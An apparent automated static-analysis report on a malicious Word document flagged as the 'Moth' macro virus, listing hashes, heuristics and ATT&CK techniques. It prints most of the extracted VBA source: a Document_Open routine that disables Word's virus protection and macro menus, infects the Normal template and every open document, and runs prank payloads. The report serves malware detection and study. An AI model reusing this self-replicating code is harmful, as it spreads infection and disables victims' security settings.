Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5788ba23a2cb9c5…

MALICIOUS

Office (OLE)

71.0 KB Created: 2002-02-25 08:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 33f74c780b0e7575d2609907315cbea7 SHA-1: ebf8006c680348a90deb79930c857ef79536c35b SHA-256: b5788ba23a2cb9c5aba64522016541dcbd5b89c673a85b991b5d827824d1d252
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The Document_Open macro attempts to infect the Normal template by copying its own code into it, thereby achieving persistence. It also attempts to disable virus protection settings. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Clan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Clan-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23093 bytes
SHA-256: 7295371794d8606fe0702e79ae88f7cd78d0426c4cba4aec466f3764b65ea9f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MothD"
Attribute VB_Base = "1Normal.MothN"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
CommandBars("Macro").Enabled = False
CommandBars("Visual basic").Enabled = False
a$ = Chr$(70): b$ = Chr$(97): c$ = Chr$(108): d$ = Chr$(115): e$ = Chr$(101): setings$ = a$ + b$ + c$ + d$ + e$
Application.Options.VirusProtection = setings$
Set M01 = ActiveDocument.VBProject.VBComponents.Item(1)
Set M02 = NormalTemplate.VBProject.VBComponents.Item(1)
M03 = M02.CodeModule.CountOfLines
M04 = M01.CodeModule.CountOfLines
M05 = Application.Documents.Count
If M03 > 0 Then
If M02.Name <> "MothN" Then
M02.CodeModule.DeleteLines 1, M03
End If
End If
If M03 = 0 Then
M02.CodeModule.InsertLines 1, M01.CodeModule.Lines(1, M04)
End If
If M02.Name <> "MothN" Then
M02.Name = "MothN"
a$ = Chr(34)
For dny = 1 To 9
If dny = 1 Then doble = "Sub AutoNew()"
If dny = 2 Then doble = "Document_Open"
If dny = 3 Then doble = "End Sub"
If dny = 4 Then doble = "Sub ViewVBCode()"
If dny = 5 Then doble = "MsgBox " + a$ + "It's Moth" + a$ + ", vbOKOnly," + a$ + "No Bom-Bom, no Kiss-Kiss!" + a$
If dny = 6 Then doble = "End Sub"
If dny = 7 Then doble = "Sub ToolsMacro()"
If dny = 8 Then doble = "MsgBox " + a$ + "It's Moth" + a$ + ", vbOKOnly," + a$ + "No Bom-Bom, no Kiss-Kiss!" + a$
If dny = 9 Then doble = "End Sub"
M02.CodeModule.InsertLines dny, doble
Next dny
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For infect = 1 To M05
If M01.Name <> "MothD" And M04 > 0 Then
Application.Documents.Item(infect).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.Documents.Item(infect).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(infect).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(infect).VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, M02.CodeModule.Lines(10, M03)
End If
Next infect
If M01.Name <> "MothD" Then M01.Name = "MothD"
'Copyright by Inquisitor
'   -=Dead Rat Clan=-
'  Mensk  2001  v.1.8
'Virus name: Moth
a = WeekDay((Now), vbMonday)
If a = 1 And Hour(Now) >= 17 Then
gamername = InputBox("What is you name ?")
If gamername = "Inquisitor" Or gamername = "Inq" Then
Mesg = "Hello boss! :-)": St = vbOKOnly + vbInformation + vbSystemModal
RoR = MsgBox(Mesg, St)
Else
Mesg = gamername + "it is time finish work ?": St = vbYesNo + vbCritical + vbSystemModal
RoR = MsgBox(Mesg, St)
If RoR = 6 Then
Set wrd = GetObject(, "Word.Application")
wrd.Visible = False
End If
End If
End If
If Second(Now) = Day(Now) Then
For amo = 0 To 50
ActiveDocument.Shapes.AddShape(msoShapeOval, 142#, 142#, 276.9, 170.4).Select
Selection.ShapeRange.Line.ForeColor.RGB = RGB(51, 204, 204)
Selection.ShapeRange.Line.Visible = msoTrue
Selection.ShapeRange.Line.ForeColor.RGB = RGB(255, 204, 0)
Selection.ShapeRange.Line.Visible = msoTrue
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(153, 204, 0)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(255, 0, 255)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(0, 128, 0)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(204, 153, 255)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(0, 0, 255)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(51, 51, 51)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(255, 204, 153)
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid
Selection.ShapeRange.Fill.ForeC
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.